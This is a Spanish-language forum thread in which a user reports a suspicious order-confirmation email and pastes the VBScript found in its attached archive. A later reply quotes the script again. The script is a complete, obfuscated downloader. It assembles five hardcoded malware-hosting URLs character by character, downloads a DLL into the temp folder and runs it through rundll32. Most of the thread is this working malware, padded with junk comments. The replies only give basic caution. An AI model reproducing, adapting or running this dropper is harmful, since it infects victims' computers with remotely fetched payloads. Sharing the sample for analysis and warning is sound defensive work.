Mi pedido llegará rápido, pero...

Tony Lothbrok · 3 Nov 2016

Hola amigos de Forobeta,

Quisiera saber si a alguien le ha llegado algo similar, aquí les adjunto unas capturas:

Supuestamente he realizado un pedido y me están enviando los datos de dicho producto...La verdad me dio curiosidad y quería abrir uno, así que descargue uno de los archivos, pero no ejecute nada, solo abrí el rar, aquí les dejo una captura:

Me da mucha curiosidad abrirlo, pero como dicen: La curiosidad mató al gato jajaja.

Damiancrk · 4 Nov 2016

No lo abras, extrae los archivos en una carpeta y abrelos con bloc de notas para ver el contenido...
ponlo aqui para ver que regalos te querian dar 🙂

JhonEspinoza · 4 Nov 2016

ábrelo en cabinas de internet, tal vez te estén sembrando contenidos ilegales con alarma instantánea al FBI

Tony Lothbrok · 4 Nov 2016

Y este es el contenido del que he descargado [MENTION=42031]Damiancrk[/MENTION] [MENTION=153680]JhonEspinoza[/MENTION] xd

Insertar CODE, HTML o PHP:

On Error Resume Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Const Ka1 = 1, Lg = 2, URp = 8' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Const Xd = 1, Gi = 2, Yq6 = "437", Xs = 2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function NJt(Xr7)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Lc5, Gk, WVb2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Lc5 = CreateObject("ADODB.Stream")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.type = Gi' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Charset = Yq6' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Open' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.LoadFromFile Xr7' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2 = Lc5.ReadText' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Close' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

NJt = Fg2(WVb2)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub Oa5(Xr7, EGl4)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Lc5, WVb2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Lc5 = CreateObject("ADODB.Stream")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.type = Gi' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Charset = Yq6' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Open' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2 = HYg(EGl4)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.WriteText WVb2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.SaveToFile Xr7, Xs' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Close' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function TCd(Me8)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim WVb2, TVi(0)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Me8 <= 0 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Err.Raise 50001, "", "ed32", "", 0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

ElseIf Me8 = 1 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

TCd = TVi' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Else' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2 = Space(Me8-1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

TCd = Split(WVb2, " ")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Tp(CQq)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Sr, JQw8, Gk, Fk' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Go, Fh2(1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject("S"&"c"&"ripting.FileSystemObject")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Fh2(0) = "WinHttp.WinHttpRequest.5.1"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Fh2(1) = "MSXML2.XMLHTTP"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

For Each Go in Fh2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Err.Clear' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set JQw8 = CreateObject(Go)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Err.Number = 0 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Exit For' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If 5=5 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JQw8.Open "GET", CQq, False' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JQw8.Send' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Gk = TCd(LenB(JQw8.ResponseBody))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

For Fk = 1 To LenB(JQw8.ResponseBody)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Gk(Fk-1) = AscB(MidB(JQw8.ResponseBody, Fk, 1))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Tp = Gk' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub Cf4( Ih, Eu )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Fk, Ks5, Sr, JQw8, Nt0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject( "S"&"c"&"ripting.FileSystemObject" )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Sr.FolderExists( Eu ) Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Nt0 = Sr.BuildPath( Eu, Mid( Ih, InStrRev( Ih, "/" ) + 1 ) )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

ElseIf Sr.FolderExists( Left( Eu, InStrRev( Eu, "\" ) - 1 ) ) Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Nt0 = Eu' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Else' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Exit Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Ks5 = Sr.OpenTextFile( Nt0, Lg, True )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set JQw8 = CreateObject( "WinHttp.WinHttpRequest.5.1" )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JQw8.Open "GET", Ih, False' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JQw8.Send' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If LenB(JQw8.ResponseBody) < 100000 Or LenB(JQw8.ResponseBody) > 250000 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Err.Raise 50011, "", "ed32", "", 0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Exit Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

For Fk = 1 To LenB( JQw8.ResponseBody )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Ks5.Write Chr( AscB( MidB( JQw8.ResponseBody, Fk, 1 ) ) )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If 1=1 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Ks5.Close( )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Jc1()' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim SOx0, KNp3, JAa0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set SOx0 = CreateObject("WScript.Shell")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set KNp3 = SOx0.Environment("System")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JAa0 = KNp3("PROCESSOR_ARCHITECTURE")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If LCase(JAa0) = "amd64" Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Jc1 = SOx0.ExpandEnvironmentStrings("%SystemRoot%\SysWOW64\rundll32.exe")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Else' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Jc1 = SOx0.ExpandEnvironmentStrings("%SystemRoot%\system32\rundll32.exe")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub XDt8(CHt, IUm1, Nq)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim SOx0, Sr, Ks5, Mb4, JUw6' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set SOx0 = CreateObject("WScript.Shell")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject("S"&"c"&"ripting.FileSystemObject")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Ks5 = Sr.GetFile(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Mb4 = Ks5.ShortPath' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JUw6 = Jc1() + " " + Mb4 + "," + IUm1 + " " + Nq' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If 2 > 1 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

SOx0.Run(JUw6)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Rp(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Sr' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject("S"&"c"&"ripting.FileSystemObject")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Rp = Sr.FileExists(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Gm8(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Sr, Ks5' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject("S"&"c"&"ripting.FileSystemObject")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Ks5 = Sr.GetFile(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Gm8 = Ks5.ShortPath' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function MXl9(Sj, RWi3)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Me8' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Me8 = CDbl(Int(CDbl(Sj)/CDbl(RWi3)))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

MXl9 = CDbl(Sj) - Me8 * CDbl(RWi3)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Qp8(IJq, WVb2)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2(1) = 172 * WVb2(1) Mod 30307' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2(0) = 171 * WVb2(0) Mod 30269' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2(2) = 170 * WVb2(2) Mod 30323' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim PFw7' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

PFw7 = MXl9((CDbl(WVb2(0))/30269.0 + CDbl(WVb2(1))/30307.0 + CDbl(WVb2(2))/30323.0), 1.0)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Qp8 = Int(PFw7 * CDbl(IJq))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Ad(Jz4)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Ad = CInt(Jz4*Rnd())' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub Fz8(Kx1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WScript.Sleep(Kx1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub MNp(Tw1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WScript.Quit(Tw1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Randomize' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Os(2), AMh0, EEk1(4), Xr7
Os(0) = 27215
Os(1) = 16999
Os(2) = 28649
AMh0 = 21
If 1=1 Then
EEk1(0) = ""&"ht"&"t"&"p://" & "0" & "7" & "9" & "1" & "l" & "o" & "n" & "g" & "y" & "a" & "o" & "." & "c" & "o" & "m" & "/" & "m" & "w" & "n" & "r" & "v" & "q" & "7" & "t"
End If
If 1=1 Then
EEk1(1) = ""&"ht"&"t"&"p://" & "d" & "u" & "m" & "b" & "i" & "n" & "s" & "t" & "r" & "u" & "m" & "e" & "n" & "t" & "d" & "a" & "n" & "c" & "e" & "." & "c" & "o" & "m" & "/" & "n" & "q" & "6" & "w" & "c" & "k"
End If
If 1=1 Then
EEk1(2) = ""&"ht"&"t"&"p://" & "a" & "n" & "g" & "e" & "l" & "f" & "i" & "x" & "." & "n" & "e" & "t" & "/" & "o" & "2" & "m" & "w" & "g" & "t" & "q"
End If
If 1=1 Then
EEk1(3) = ""&"ht"&"t"&"p://" & "k" & "i" & "d" & "d" & "y" & "p" & "e" & "c" & "o" & "s" & "." & "c" & "o" & "m" & "/" & "0" & "l" & "o" & "o" & "b" & "u" & "3"
End If
If 1=1 Then
EEk1(4) = ""&"ht"&"t"&"p://" & "v" & "a" & "i" & "r" & "s" & "c" & "r" & "a" & "t" & "." & "c" & "o" & "m" & "/" & "0" & "o" & "p" & "r" & "7" & "s"
End If
Xr7 = "OVw8LcHvp0bnCQ"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim SOx0, TRd3, Vu9, BIc, Kx1' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set objShell = CreateObject("WS"&"cript.Shell")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

TRd3 = objShell.ExpandEnvironmentStrings("%" & "T"&"EMP%")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim VOw9, Vq1, Ao, SQm, Fk' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Vq1 = False' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

For Fk=0 To 5: Do' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Vu9 = TRd3 + "\" + Xr7 + Chr(48+Fk) + ".dl"&"l"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Rp(Vu9) Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

BIc = Gm8(Vu9) & ".txt"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Rp(BIc) Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WScript.Quit(0)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Not Vq1 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

VOw9 = Ad(UBound(EEk1))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Cf4 EEk1(VOw9), Vu9' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Err.Number <> 0 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Exit Do' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Vq1 = True' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

XDt8 Vu9, "zzz", "317"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

MNp 1' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Loop While False: Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If 3=3 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

MNp 0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If

JhonEspinoza · 4 Nov 2016

TonyJackson dijo:

Y este es el contenido del que he descargado [MENTION=42031]Damiancrk[/MENTION] [MENTION=153680]JhonEspinoza[/MENTION] xd

Insertar CODE, HTML o PHP:

On Error Resume Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Const Ka1 = 1, Lg = 2, URp = 8' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Const Xd = 1, Gi = 2, Yq6 = "437", Xs = 2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function NJt(Xr7)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Lc5, Gk, WVb2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Lc5 = CreateObject("ADODB.Stream")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.type = Gi' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Charset = Yq6' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Open' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.LoadFromFile Xr7' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2 = Lc5.ReadText' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Close' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

NJt = Fg2(WVb2)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub Oa5(Xr7, EGl4)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Lc5, WVb2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Lc5 = CreateObject("ADODB.Stream")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.type = Gi' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Charset = Yq6' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Open' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2 = HYg(EGl4)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.WriteText WVb2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.SaveToFile Xr7, Xs' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Close' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function TCd(Me8)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim WVb2, TVi(0)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Me8 <= 0 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Err.Raise 50001, "", "ed32", "", 0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

ElseIf Me8 = 1 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

TCd = TVi' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Else' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2 = Space(Me8-1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

TCd = Split(WVb2, " ")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Tp(CQq)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Sr, JQw8, Gk, Fk' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
